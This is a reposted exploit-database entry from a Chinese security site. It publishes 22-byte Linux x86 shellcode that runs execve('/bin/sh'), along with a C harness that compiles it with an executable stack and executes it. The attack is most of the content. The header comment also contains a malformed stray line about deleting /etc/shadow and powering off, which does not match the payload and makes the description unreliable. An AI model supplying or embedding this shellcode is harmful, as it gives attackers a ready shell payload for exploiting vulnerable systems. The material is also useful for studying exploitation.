linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 bytes
|
来源:http://promhyl.oz.pl 作者:Magnefikko 发布时间:2010-04-16
|
|
====================================================== linux/x86 - execve("/bin/sh", 0, 0) shellcode 22 bytes ======================================================
#include <stdio.h> #include <string.h>
/* by Magnefikko 15.04.2010 magnefikko@gmail.com Promhyl Studies :: http://promhyl.oz.pl Subgroup: #PRekambr Name: 22 bytes execve("/bin/sh", 0, 0) shellcode Platform: Linux x86 unlink("/etc/shadow"; execve("poweroff", 0, 0);
gcc -Wl,-z,execstack filename.c
shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
*/
int main(){ char shell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"; printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell) = %d\n", strlen(shell)); (*(void (*)()) shell)(); }
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|